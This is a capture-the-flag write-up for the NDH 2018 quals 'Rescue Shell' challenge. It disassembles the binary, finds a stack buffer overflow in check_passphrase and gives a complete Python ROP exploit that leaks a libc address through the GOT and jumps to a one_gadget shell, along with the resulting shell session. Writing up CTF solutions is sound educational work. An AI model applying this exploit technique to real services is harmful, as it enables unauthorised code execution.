Rescue Shell (exploit 100pts)
Rescue shell was 100 points exploit at NDH quals. We were given a binary named rescue
and the libc it uses libc.so.6
.
And a service runs at rescueshell.challs.malice.fr
on port 6060
Analysis
What I like to do in the first place is to take a quick look at the real target, the one running on the server.
$ nc rescueshell.challs.malice.fr 6060
RescueShell 0.4
=================
Welcome anonymous ! This shell is restricted, please log in.
Password:
Okay, it is asking for a password. If we input something it asks for the password again. Now, what if we input something really long? Well. It seems to break. Let’s see what securities are implemented into the binary, using checksec:
$ checksec -f rescue
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFYFortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 06 rescue
Now that’s done, time to read some assembly to understand how it works.
Disassembling using radare2
I’m not really a radare2 user yet, but I’m trying to learn how to use it on a daily basis, so if you have any recommendations or advices, I’m taking them!
$ r2 rescue
-- EXPLICIT CONTENT
[0x00400660]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x00400660]> afl
0x00400580 3 26 sym._init
0x004005b0 1 6 sym.imp.strncmp
0x004005c0 1 6 sym.imp.fread
0x004005d0 1 6 sym.imp.write
0x004005e0 1 6 sym.imp.fclose
0x004005f0 1 6 sym.imp.strlen
0x00400600 1 6 sym.imp.read
0x00400610 1 6 sym.imp.__libc_start_main
0x00400620 1 6 loc.imp.__gmon_start
0x00400630 1 6 sym.imp.memcpy
0x00400640 1 6 sym.imp.fopen
0x00400650 1 6 sym.imp.exit
0x00400660 1 41 entry0
0x00400690 4 50 -> 41 sym.deregister_tm_clones
0x004006d0 3 53 sym.register_tm_clones
0x00400710 3 28 sym.__do_global_dtors_aux
0x00400730 4 38 -> 35 entry1.init
0x00400756 1 80 sym.check_passphrase
0x004007a6 1 129 sym.admin_shell
0x00400827 3 91 sym.read_password_file
0x00400882 3 419 sym.main
0x00400a30 4 101 sym.__libc_csu_init
0x00400aa0 1 2 sym.__libc_csu_fini
0x00400aa4 1 9 sym._fini
[0x00400660]>
We quickly notice some functions that looks interesting:
- sym.check_passphrase
- sym.admin_shell
- sym.read_password_file
- sym.main
My first few guesses are: there is a password file that contains the password to launch the admin shell. If we leak the password, we should be able to run the shell. That’s a 100 point exploit after all, shouldn’t be hard.
Okay, let’s disassemble the main function to see where the crash happens:
[0x00400660]> pdf @ main
;-- main:
/ (fcn) sym.main 419
| sym.main ();
| ; var int local_160h @ rbp-0x160
| ; var int local_154h @ rbp-0x154
| ; var int local_150h @ rbp-0x150
| ; var int local_148h @ rbp-0x148
| ; var int local_146h @ rbp-0x146
| ; var int local_140h @ rbp-0x140
| ; var int local_138h @ rbp-0x138
| ; var int local_130h @ rbp-0x130
| ; var int local_128h @ rbp-0x128
| ; var int local_120h @ rbp-0x120
| ; var int local_118h @ rbp-0x118
| ; var int local_110h @ rbp-0x110
| ; var int local_108h @ rbp-0x108
| ; var int local_100h @ rbp-0x100
| ; var int local_f8h @ rbp-0xf8
| ; var int local_f0h @ rbp-0xf0
| ; var int local_e8h @ rbp-0xe8
| ; var int local_e0h @ rbp-0xe0
| ; var int local_d0h @ rbp-0xd0
| ; var int local_8h @ rbp-0x8
| ; DATA XREF from 0x0040067d (entry0)
| 0x00400882 55 push rbp
| 0x00400883 4889e5 mov rbp, rsp
| 0x00400886 4881ec600100. sub rsp, 0x160
| 0x0040088d 89bdacfeffff mov dword [local_154h], edi
| 0x00400893 4889b5a0feff. mov qword [local_160h], rsi
| 0x0040089a 48b852657363. movabs rax, 0x6853657563736552
| 0x004008a4 488985c0feff. mov qword [local_140h], rax
| 0x004008ab 48b8656c6c20. movabs rax, 0xa342e30206c6c65
| 0x004008b5 488985c8feff. mov qword [local_138h], rax
| 0x004008bc 48b83d3d3d3d. movabs rax, 0x3d3d3d3d3d3d3d3d
| 0x004008c6 488985d0feff. mov qword [local_130h], rax
| 0x004008cd 48b83d3d3d3d. movabs rax, 0x3d3d3d3d3d3d3d3d
| 0x004008d7 488985d8feff. mov qword [local_128h], rax
| 0x004008de 48b83d0a0a57. movabs rax, 0x6f636c65570a0a3d
| 0x004008e8 488985e0feff. mov qword [local_120h], rax
| 0x004008ef 48b86d652061. movabs rax, 0x796e6f6e6120656d
| 0x004008f9 488985e8feff. mov qword [local_118h], rax
| 0x00400900 48b86d6f7573. movabs rax, 0x5420212073756f6d
| 0x0040090a 488985f0feff. mov qword [local_110h], rax
| 0x00400911 48b868697320. movabs rax, 0x6c65687320736968
| 0x0040091b 488985f8feff. mov qword [local_108h], rax
| 0x00400922 48b86c206973. movabs rax, 0x736572207369206c
| 0x0040092c 48898500ffff. mov qword [local_100h], rax
| 0x00400933 48b874726963. movabs rax, 0x2c64657463697274
| 0x0040093d 48898508ffff. mov qword [local_f8h], rax
| 0x00400944 48b820706c65. movabs rax, 0x20657361656c7020
| 0x0040094e 48898510ffff. mov qword [local_f0h], rax
| 0x00400955 48b86c6f6720. movabs rax, 0xa2e6e6920676f6c
| 0x0040095f 48898518ffff. mov qword [local_e8h], rax
| 0x00400966 66c78520ffff. mov word [local_e0h], 0xa
| 0x0040096f 48b850617373. movabs rax, 0x64726f7773736150
| 0x00400979 488985b0feff. mov qword [local_150h], rax
| 0x00400980 66c785b8feff. mov word [local_148h], 0x203a
| 0x00400989 c685bafeffff. mov byte [local_146h], 0
| 0x00400990 bfb60a4000 mov edi, str.._password.txt ; 0x400ab6 ; "./password.txt"
| 0x00400995 e88dfeffff call sym.read_password_file
| 0x0040099a 488d85c0feff. lea rax, [local_140h]
| 0x004009a1 4889c7 mov rdi, rax ; const char * s
| 0x004009a4 e847fcffff call sym.imp.strlen ; size_t strlen(const char *s)
| 0x004009a9 4889c2 mov rdx, rax ; size_t nbytes
| 0x004009ac 488d85c0feff. lea rax, [local_140h]
| 0x004009b3 4889c6 mov rsi, rax ; void *ptr
| 0x004009b6 bf01000000 mov edi, 1 ; int fd
| 0x004009bb e810fcffff call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
| ; JMP XREF from 0x00400a1c (sym.main)
| .-> 0x004009c0 488d85b0feff. lea rax, [local_150h]
| : 0x004009c7 4889c7 mov rdi, rax ; const char * s
| : 0x004009ca e821fcffff call sym.imp.strlen ; size_t strlen(const char *s)
| : 0x004009cf 4889c2 mov rdx, rax ; size_t nbytes
| : 0x004009d2 488d85b0feff. lea rax, [local_150h]
| : 0x004009d9 4889c6 mov rsi, rax ; void *ptr
| : 0x004009dc bf01000000 mov edi, 1 ; int fd
| : 0x004009e1 e8eafbffff call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
| : 0x004009e6 488d8530ffff. lea rax, [local_d0h]
| : 0x004009ed bac8000000 mov edx, 0xc8 ; 200 ; size_t nbyte
| : 0x004009f2 4889c6 mov rsi, rax ; void *buf
| : 0x004009f5 bf00000000 mov edi, 0 ; int fildes
| : 0x004009fa e801fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| : 0x004009ff 488945f8 mov qword [local_8h], rax
| : 0x00400a03 488b45f8 mov rax, qword [local_8h]
| : 0x00400a07 89c2 mov edx, eax
| : 0x00400a09 488d8530ffff. lea rax, [local_d0h]
| : 0x00400a10 89d6 mov esi, edx
| : 0x00400a12 4889c7 mov rdi, rax
| : 0x00400a15 e83cfdffff call sym.check_passphrase
| : 0x00400a1a 85c0 test eax, eax
| `=< 0x00400a1c 74a2 je 0x4009c0
| 0x00400a1e b800000000 mov eax, 0
| 0x00400a23 c9 leave
\ 0x00400a24 c3 ret
[0x00400660]>
In short:
- call sym.read_password_file
- Display welcome message
- Start loop:
- Print “Password: “
- call read
- check passphrase
- end loop if passphrase is good.
We notice that the function sym.admin_shell
is not called at all, maybe the goal is to jump to it from the crash.
Other important things to notice:
- read is called with a read size of
0xc8
- Given the stack size and the used space in it, the crash does not seem to appear here.
- The only function called after the read is
sym.check_passphrase
.
Let’s take a look at sym.check_passphrase
:
[0x00400660]> pdf @ sym.check_passphrase
/ (fcn) sym.check_passphrase 80
| sym.check_passphrase ();
| ; var int local_4ch @ rbp-0x4c
| ; var int local_48h @ rbp-0x48
| ; var int local_40h @ rbp-0x40
| ; CALL XREF from 0x00400a15 (sym.main)
| 0x00400756 55 push rbp
| 0x00400757 4889e5 mov rbp, rsp
| 0x0040075a 4883ec50 sub rsp, 0x50 ; 'P'
| 0x0040075e 48897db8 mov qword [local_48h], rdi
| 0x00400762 8975b4 mov dword [local_4ch], esi
| 0x00400765 8b45b4 mov eax, dword [local_4ch]
| 0x00400768 4863d0 movsxd rdx, eax ; size_t n
| 0x0040076b 488b4db8 mov rcx, qword [local_48h]
| 0x0040076f 488d45c0 lea rax, [local_40h]
| 0x00400773 4889ce mov rsi, rcx ; const void *s2
| 0x00400776 4889c7 mov rdi, rax ; void *s1
| 0x00400779 e8b2feffff call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n)
| 0x0040077e bfc0126000 mov edi, obj.admin_password ; rsi ; 0x6012c0 ; const char * s
| 0x00400783 e868feffff call sym.imp.strlen ; size_t strlen(const char *s)
| 0x00400788 4889c2 mov rdx, rax ; size_t n
| 0x0040078b 488d45c0 lea rax, [local_40h]
| 0x0040078f bec0126000 mov esi, obj.admin_password ; rsi ; 0x6012c0 ; const char * s2
| 0x00400794 4889c7 mov rdi, rax ; const char * s1
| 0x00400797 e814feffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
| 0x0040079c 85c0 test eax, eax
| 0x0040079e 0f94c0 sete al
| 0x004007a1 0fb6c0 movzx eax, al
| 0x004007a4 c9 leave
\ 0x004007a5 c3 ret
[0x00400660]>
From the main we can see it is called using our input and the size of bytes read. More interestingly, there is a call to memcpy
using these values. However, the stack is allocated by 0x50, which is smaller than the 0xc8 maximum read size allowed in the main.
We thus have a buffer overflow on the check_passphrase function!
One final interesting thing to look at is the sym.admin_shell
function to see how we can get a shell from it. Unfortunately, it happens that this function is a fake and prints a message stating it is disabled.
Exploitation
Summary and action plan.
What we have so far:
- buffer overflow on
sym.check_passphrase
- no function to spawn a shell
- the
libc.so.6
file that the binary uses - no canary
- NX bit enabled
Fair enough! The plan is:
1 Overwrite RIP to get control over the execution flow 2 LEAK the address of a function 3 Calculate offset difference between this function and one_gadget 4 Survive leak and execute one_gadget 5 ??? 6 profit!
RIP overwriting
For this step, I used gdb along with wapiflapi’s gxf extension.
$ gdb ./rescue
Reading symbols from rescue...(no debugging symbols found)...done.
(gdb) gx cyclic
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
(gdb) r
Starting program: /home/ark/security/challz/NDH2k18_quals/rescue_shell/rescue
RescueShell 0.4
=================
Welcome anonymous ! This shell is restricted, please log in.
Password: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
Program received signal SIGSEGV, Segmentation fault.
0x00000000004007a5 in check_passphrase ()
-----------------------------------registers------------------------------------
rax : 0
rbx : 0
rcx : 99 'c'
rdx : 0
rsi : 0x6012c0 : 'changeme203\n'
rdi : 0x7fffffffda30 : 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama' + ...
rbp : 'qaaaraaa' (0x6161617261616171)
rsp : 0x7fffffffda78 : 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa' + ...
r8 : 0
r9 : 119 'w'
r10 : 180
r11 : 12
r12 : 0x400660 <_start+0>: xor ebp,ebp
r13 : 0x7fffffffdcc0 : 1
r14 : 0
r15 : 0
rip : 0x4007a5 <check_passphrase+79>: ret
--------------------------------------code--------------------------------------
0x000000000040079e <check_passphrase+72>: sete al
0x00000000004007a1 <check_passphrase+75>: movzx eax,al
0x00000000004007a4 <check_passphrase+78>: leave
=> 0x00000000004007a5 <check_passphrase+79>: ret
-------------------------------------stack--------------------------------------
0 0x7fffffffda78 : 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa' + ...
8 0x7fffffffda80 : 'uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha' + ...
16 0x7fffffffda88 : 'waaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabja' + ...
24 0x7fffffffda90 : 'yaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabla' + ...
32 0x7fffffffda98 : 'baabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabna' + ...
40 0x7fffffffdaa0 : 'daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpa' + ...
48 0x7fffffffdaa8 : 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra' + ...
56 0x7fffffffdab0 : 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta' + ...
-------------------------------------frame--------------------------------------
#0 0x00000000004007a5 in check_passphrase ()
(gdb) gx cyclic -s qaaaraaa
64
We can conclude from this that we overwrite RBP
after 64 bytes. RIP
will be overwriten shortly after, at 72 bytes.
LEAK a function’s address
Now that we know how to gain control of the execution flow, we’ll have to leak a function’s address. To do so, we need a primitive that will display the memory for us and allow us to keep control afterward.
The main function is perfect for this purpose:
| : 0x004009ca e821fcffff call sym.imp.strlen ; size_t strlen(const char *s)
| : 0x004009cf 4889c2 mov rdx, rax ; size_t nbytes
| : 0x004009d2 488d85b0feff. lea rax, [local_150h]
| : 0x004009d9 4889c6 mov rsi, rax ; void *ptr
| : 0x004009dc bf01000000 mov edi, 1 ; int fd
| : 0x004009e1 e8eafbffff call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
| : 0x004009e6 488d8530ffff. lea rax, [local_d0h]
| : 0x004009ed bac8000000 mov edx, 0xc8 ; 200 ; size_t nbyte
| : 0x004009f2 4889c6 mov rsi, rax ; void *buf
| : 0x004009f5 bf00000000 mov edi, 0 ; int fildes
| : 0x004009fa e801fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
I chose to use fclose’s address for the leak. A few remark before we leak that address:
* strlen will stop at `\x00`, and we need at least 8 bytes being printed to be sure we did not miss one.
* We need to put the parameter for strlen in the `RDI` register.
* write uses `local_150h` for second parameter which is rbp-0x150.
Finding a 8 byte long string null terminated
Well that’s kinda easy, the program opens a file called “password.txt”, which is 14 bytes long, 14 - 8 is 6, the string is located at 0x400ab6. Add 6, that’s 0x400abc.
Finding a gadget to put that previously calculated address into RDI
For this task, I used the tool ropper:
$ ropper -f rescue --search 'pop rdi'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: rescue
0x0000000000400a93: pop rdi; ret;
Putting fclose’s address into the buffer for write
We said that write uses rbp-0x150 as second parameter. We control RBP
from our buffer overflow, we just have to put the address of fclose on the .got + 0x150.
I got the offset of flcose on the .got using objdump:
00000000004005e0 <fclose@plt>:
4005e0: ff 25 3a 0c 20 00 jmp QWORD PTR [rip+0x200c3a] # 601220 <fclose@GLIBC_2.2.5>
We’ll use the address: 0x601220+0x150
.
That’s our first stage done.
Calculate offset difference between fclose and one_gadget.
Getting fclose offset in libc.so.6
Easy enough:
$ gdb libc.so.6
Reading symbols from libc.so.6...(no debugging symbols found)...done.
(gdb) p fclose
$1 = {<text variable, no debug info>} 0x695e0 <fclose>
Getting one_gadget offset
One_gadget is the one gadget you can find in the libc that performs the simple and wonderful task of execve("/bin/sh", rsp+0x30, environ)
There is a useful tool on github that allows to search for it easily: https://github.com/david942j/one_gadget
Using it is fairly simple:
$ one_gadget libc.so.6
0x41320 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x41374 execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xd6e77 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
There are three of them, it doesn’t really matter which one to choose, let’s go with the first one.
Compute offset difference:
Simple substraction: 0x695e0-0x41320 = 0x282c0
Survive the leak and execute one_gadget
Don’t choose your gadgets at random! ;) There was a lot of strlen/write in the code that we could have used to leak fclose’s address, however the one I chose was great because the code continues and goes through our read and sym.check_passphrase
again!
Which means that we can trigger the buffer overflow a second time, allowing us to write the computed address: fclose_leak_addr - offset_difference
.
Putting it all together: final exploit.
import binexpect
import struct
if __name__=='__main__':
setup = binexpect.setup('nc rescueshell.challs.malice.fr 6060')
target = setup.target()
target.setecho(False)
pop_rdi_ret = 0x400a93
slen_write = 0x4009ca
fclose_got = 0x601220
offset_one_gadget = 0x41320
offset_fclose = 0x695e0
diff_offset = offset_fclose - offset_one_gadget
payload = b'A' * 64 ## fill buffer
payload += struct.pack('Q', fclose_got+0x150) ## ADDR used for write
payload += struct.pack('Q', pop_rdi_ret) ## POP addr to leak
payload += struct.pack('Q', 0x400abc) ## 8 bytes + '\x00'
payload += struct.pack('Q', slen_write) ## STRLEN / WRITE / READ
target.tryexpect('Password: ')
target.sendbin(payload)
target.sendeof()
target.flush()
target.tryexpect(b'.*\x7f')
raw = target.after[-6:]
leak = struct.unpack('Q', raw.ljust(8, b'\x00'))[0] ## LEAK fclose addr
print('[+] Leaked fread addr: %s' % hex(leak))
one_gadget = leak - diff_offset ## Calculate real addr for sh
print('[+] one_gadget should be at: %s' % hex(one_gadget))
payload = b'/bin/sh\x00'
payload += b'B'*(64 - len(payload))
payload += struct.pack('Q', 0x42424242) ## RBP on .got
payload += struct.pack('Q', one_gadget) ## one_gadget
target.sendbin(payload)
target.sendeof()
target.pwned()
Binexpect is a module that wraps pexpect that you can find at https://github.com/wapiflapi/binexpect
Profit
$ python sploit.py
[+] Leaked fread addr: 0x7fc3150775e0
[+] one_gadget should be at: 0x7fc31504f320
▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄ .·▄▄▄▄ ▄• ▄▌.▄▄ · ▪ ▐ ▄ ▄▄ •
▐█ ▄███· █▌▐█•█▌▐█▀▄.▀·██▪ ██ █▪██▌▐█ ▀. ██ •█▌▐█▐█ ▀ ▪
██▀·██▪▐█▐▐▌▐█▐▐▌▐▀▀▪▄▐█· ▐█▌ █▌▐█▌▄▀▀▀█▄▐█·▐█▐▐▌▄█ ▀█▄
▐█▪·•▐█▌██▐█▌██▐█▌▐█▄▄▌██. ██ ▐█▄█▌▐█▄▪▐█▐█▌██▐█▌▐█▄▪▐█
.▀ ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀▀▀• ▀▀▀ ▀▀▀▀ ▀▀▀▀▀ █▪·▀▀▀▀
▄▄▄▄ ██▓ ███▄ █ ▓█████ ▒██ ██▒ ██▓███ ▓█████ ▄████▄ ▄▄▄█████▓
▓█████▄ ▓██▒ ██ ▀█ █ ▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓█ ▀ ▒██▀ ▀█ ▓ ██▒ ▓▒
▒██▒ ▄██▒██▒▓██ ▀█ ██▒▒███ ░░ █ ░▓██░ ██▓▒▒███ ▒▓█ ▄ ▒ ▓██░ ▒░
▒██░█▀ ░██░▓██▒ ▐▌██▒▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒▓█ ▄ ▒▓▓▄ ▄██▒░ ▓██▓ ░
░▓█ ▀█▓░██░▒██░ ▓██░░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░▒████▒▒ ▓███▀ ░ ▒██▒ ░
░▒▓███▀▒░▓ ░ ▒░ ▒ ▒ ░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░░ ▒░ ░░ ░▒ ▒ ░ ▒ ░░
▒░▒ ░ ▒ ░░ ░░ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ░ ░ ▒ ░
░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ @wapiflapi
------░------------------------------------------------░-----------------
- Powered by pexpect, works best with linux and gxf -
-------------------------------------------------------------------------
Escape character is '^]'
ls
flag.txt
password.txt
rescue
cat flag.txt
NDH{wilFupsdrossyerIvid}